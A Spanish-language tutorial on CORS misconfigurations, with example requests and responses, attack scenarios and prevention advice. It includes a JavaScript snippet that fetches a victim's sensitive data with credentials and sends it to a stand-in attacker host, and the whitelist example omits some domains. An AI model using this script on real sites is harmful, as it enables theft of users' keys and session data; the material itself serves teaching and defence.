Es un mecanismo basado en una cabecera HTTP que permite a un servidor indicar cualquier origen (dominio, esquema, puerto) distinto que el mismo por el cual un navegador debe permitir el acceso a cargar recursos.
Política Same-Origin
Es una especificación restrictiva que limita la habilidad de un sitio web para interactuar con recursos fuera de su dominio fuente. Esta política fue definida en respuesta a interacciones maliciosas entre sitios como el robo de información de un sitio web a otro, generalmente permite realizar peticiones de un sitio a otro, pero no acceder a su respuesta.
Esta configuración se puede relajar para permitir el acceso entre subdominios o sitios webs de terceros, esto es posible usando cross-origin resource sharing (CORS) que establece una serie de cabeceras HTTP que definen los orígenes confiables y sus propiedades.
Si la implementación de CORS tiene errores o son muy relajadas para asegurarse que todo funciona puede resultar en vulnerabilidades explotables
Access-Control-Allow-Origin (ACAO) header
Algunas aplicaciones necesitan proveer acceso a otros dominios, mantener una lista de dominios puede requerir un esfuerzo adicional y cualquier error puede romper la funcionalidad, una vía para hacer esto es leer la cabecera origin del request e incluir una respuesta mencionando que el origen del solicitante está permitido, por ejemplo:
Request
GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...
Response
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...
Esta cabecera señala que el solicitante malicious-website.com esta permitido y que las peticiones cross-origin pueden contener la cookie Access-Control-Allow-Credentials: true permitiendo ser procesadas en la sesión.
Dado que la aplicación refleja orígenes arbitrarios en la cabecera Access-Control-Allow-Origin esto quiere decir que cualquier dominio puede acceder a sus recursos, si la respuesta contiene cualquier información confidencial como Api Keys o tokens CSRF se podría obtener estos datos.
Se podría extraer estos datos con este script
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//malicious-website.com/log?key='+this.responseText;
};
Errores parseando la cabecera Origin
Algunos sitios web que soportan acceso de múltiples orígenes usan una lista blanca para permitirlos, si el origen esta en la lista es reflejado en la respuesta en la cabecera Access-Control-Allow-Origin dándole acceso
Request
GET /data HTTP/1.1
Host: normal-website.com
...
Origin: https://innocent-website.com
Response
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://innocent-website.com
Pero algunas organizaciones deciden darle acceso a todos los subdominios y dominios remotas por lo general realizando match de los prefijos o sufijos de las URL o con expresiones regulares, cualquiera equivocación puede dar lugar a darle acceso a otros dominios no deseados.
Por ejemplo, si una aplicación concede acceso a todos los dominios que terminen en:
Un atacante podría ganar acceso registrando el dominio:
Alternativamente si una aplicación le da acceso a todos los dominios que empiezan con:
Un atacante podría ganar acceso usando el dominio:
normal-website.com.evil-user.net
Valor Null en origen
La cabecera origin soporta el valor Null que puede ser enviado en situaciones inusuales como:
Cross-origin redirects.
Requests from serialized data.
Request using the file: protocol.
Sandboxed cross-origin requests.
XSS vía CORS
Incluso configurando correctamente CORS se puede dar el caso de que un atacante explote una vulnerabilidad XSS ya que se establece una relación de confianza entre los dos sitios
Request:
GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...
Si el servidor responde:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true
En este caso si el atacante descubre una vulnerabilidad XSS en subdomain.vulnerable-website.com puede usarla para extraer las llaves de las API usando una URL como la que sigue:
subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>
Romper TLS con CORS
Si una aplicación emplea HTTPS y un subdominio confiable usa HTTP se puede romper el encriptado como se ve a continuación
Request
GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: http://trusted-subdomain.vulnerable-website.com
Cookie: sessionid=...
Response:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true
Intranets y CORS
La mayoría de los ataques CORS se deben a la presencia de esta cabecera en la respuesta:
Access-Control-Allow-Credentials: true
Sin esta cabecera el navegador de la victima rechazara enviar sus cookies, queriendo decir que el atacante solo tendrá acceso a recursos sin autenticación que estarían disponibles navegando regularmente por la página, sin embargo, hay un caso común donde un atacante no puede acceder a el sitio web directamente; en una intranet donde este hospedado bajo IP privada.
Websites internos por lo general tienen niveles de seguridad menores que pueden ser aprovechados por los atacantes para ganar acceso
Request
GET /reader?url=doc1.pdf
Host: intranet.normal-website.com
Origin: https://normal-website.com
Response:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Prevenir CORS
Si un sitio web contiene información sensible, debe estar especificado en la cabecera Access-Control-Allow-Origin
Especificar en Access-Control-Allow-Origin solo sitios confiables evitando reflejar dinámicamente orígenes sin validación
Evitar usar Access-Control-Allow-Origin: null especificando los orígenes correspondientes
En redes internas evitar comodines para identificar sitios
No confiar únicamente en CORS para proteger data sensible, colocar protecciones del lado del servidor